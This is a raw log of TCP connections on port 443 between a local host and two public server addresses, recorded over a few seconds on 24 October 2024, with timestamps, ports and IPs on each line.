Oct 24, 2024 08:51:25.728790045 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.728790045 CEST	49967	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.728835106 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.728859901 CEST	443	49967	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.741090059 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.741153955 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.741260052 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.741441965 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.741472960 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.838135004 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.838177919 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.838237047 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:25.838412046 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:25.838412046 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.126379013 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.126400948 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.126729012 CEST	49968	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.126734018 CEST	443	49968	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.130868912 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.130913019 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.130976915 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.131524086 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.131545067 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.187407970 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.189526081 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.189889908 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.189907074 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.189908981 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.189923048 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.190402985 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.190407991 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.190658092 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.190663099 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.318119049 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.318283081 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.318356037 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.318608999 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.318623066 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.318634033 CEST	49969	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.318639040 CEST	443	49969	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.320467949 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.320574999 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.320616007 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.320650101 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.320679903 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.320770979 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.320791006 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.320801020 CEST	49970	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.320806980 CEST	443	49970	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.322530031 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.322576046 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.322690010 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.322825909 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.322835922 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.323422909 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.323461056 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.323524952 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.323683023 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.323698044 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.375677109 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.376252890 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.376271009 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.376841068 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.376848936 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.468945980 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.471509933 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.471522093 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.472019911 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.472024918 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.508145094 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.508348942 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.508441925 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.508724928 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.508724928 CEST	49971	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.508744001 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.508753061 CEST	443	49971	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.513571024 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.513668060 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.513772964 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.513946056 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.513981104 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.545274973 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:26.545330048 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:26.545399904 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:26.545732021 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:26.545742989 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:26.599066973 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.599104881 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.599160910 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.599267006 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.599332094 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.607342958 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.607342958 CEST	49972	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.607395887 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.607419968 CEST	443	49972	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.612013102 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.612061024 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:26.612183094 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.612385035 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:26.612397909 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.714464903 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:27.720199108 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:27.720211029 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:27.720617056 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:27.721062899 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:27.721132040 CEST	443	49977	216.58.206.68	192.168.2.4
Oct 24, 2024 08:51:27.763394117 CEST	49977	443	192.168.2.4	216.58.206.68
Oct 24, 2024 08:51:27.834944010 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.835711002 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.835748911 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.836302996 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.836308956 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.841278076 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.842113018 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.844319105 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.844332933 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.844736099 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.844755888 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.844896078 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.844902039 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.844924927 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.844944954 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.845206022 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.845247030 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.845617056 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.845622063 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.845695019 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.845702887 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.845985889 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.845995903 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.846451044 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.846453905 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.964289904 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.964337111 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.964382887 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.964422941 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.964467049 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.971333981 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.971349001 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.971359968 CEST	49978	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.971368074 CEST	443	49978	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.973651886 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.973731995 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.973817110 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.974426031 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.974435091 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.974447012 CEST	49976	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.974453926 CEST	443	49976	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.975145102 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.975745916 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.975876093 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.976140976 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.976156950 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976166010 CEST	49975	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.976171970 CEST	443	49975	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976186037 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976227045 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976275921 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976294994 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976346016 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.976386070 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.976414919 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976437092 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.976504087 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.977744102 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.977745056 CEST	49973	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.977756023 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.977765083 CEST	443	49973	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.978715897 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.978729963 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.978741884 CEST	49974	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.978746891 CEST	443	49974	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.980787039 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.980813026 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:27.980895996 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.991167068 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:27.991187096 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.003113031 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.003177881 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.003257036 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.006087065 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.006105900 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.007806063 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.007837057 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.007889032 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.007903099 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.007913113 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.007958889 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.008121967 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.008137941 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.008271933 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.008285046 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.009274960 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.009284973 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.009352922 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.009504080 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.009516001 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.730818033 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.731990099 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.737940073 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.741959095 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.742777109 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.778253078 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.780503035 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.780508041 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.793395996 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.794708014 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.911101103 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.911142111 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.911767960 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.911781073 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.912082911 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.912110090 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.912377119 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.912398100 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.912708998 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.912714958 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.912904978 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.912909985 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.913083076 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.913089037 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.913225889 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.913240910 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.913641930 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.913645983 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:28.913728952 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:28.913741112 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.036309004 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.036533117 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.036628008 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.037061930 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.037115097 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.037144899 CEST	49981	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.037161112 CEST	443	49981	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.038723946 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.038764000 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.038834095 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.038839102 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.038908005 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.038959026 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.038988113 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039041996 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039098978 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.039123058 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039163113 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039175987 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039176941 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.039225101 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.039243937 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.039257050 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.039289951 CEST	49982	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.039304972 CEST	443	49982	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.040690899 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.040710926 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.040736914 CEST	49983	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.040747881 CEST	443	49983	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.040826082 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.040873051 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.040962934 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.041038990 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.041093111 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.041106939 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.041110992 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.041162014 CEST	49980	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.041172981 CEST	443	49980	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.041191101 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.047079086 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.047091961 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.047369003 CEST	49979	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.047415018 CEST	443	49979	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.047885895 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.047940969 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.048022985 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.048855066 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.048887968 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.050426006 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.050450087 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.050515890 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.050668955 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.050678968 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.050825119 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.050853014 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.050924063 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.051062107 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.051080942 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.051697016 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.051765919 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.051837921 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.051964045 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.051990032 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.775186062 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.781860113 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.781888008 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.782574892 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.782579899 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.785659075 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.786143064 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.786222935 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.786676884 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.786695004 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.793852091 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.795521021 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.796380997 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.797480106 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.797502041 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.798039913 CEST	49985	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.798044920 CEST	443	49985	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.798343897 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.798357964 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.798815966 CEST	49984	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.798820019 CEST	443	49984	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.799062967 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.799074888 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.799526930 CEST	49987	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.799531937 CEST	443	49987	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.906107903 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.906138897 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.906184912 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.906316996 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.906439066 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.907685995 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.907712936 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.907741070 CEST	49986	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.907754898 CEST	443	49986	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.913750887 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.913777113 CEST	443	49989	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.913919926 CEST	49989	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.914160013 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.914251089 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.914370060 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.914469957 CEST	49988	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:29.914498091 CEST	443	49988	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:29.914524078 CEST	49988	443	192.168.2.4	13.107.246.60
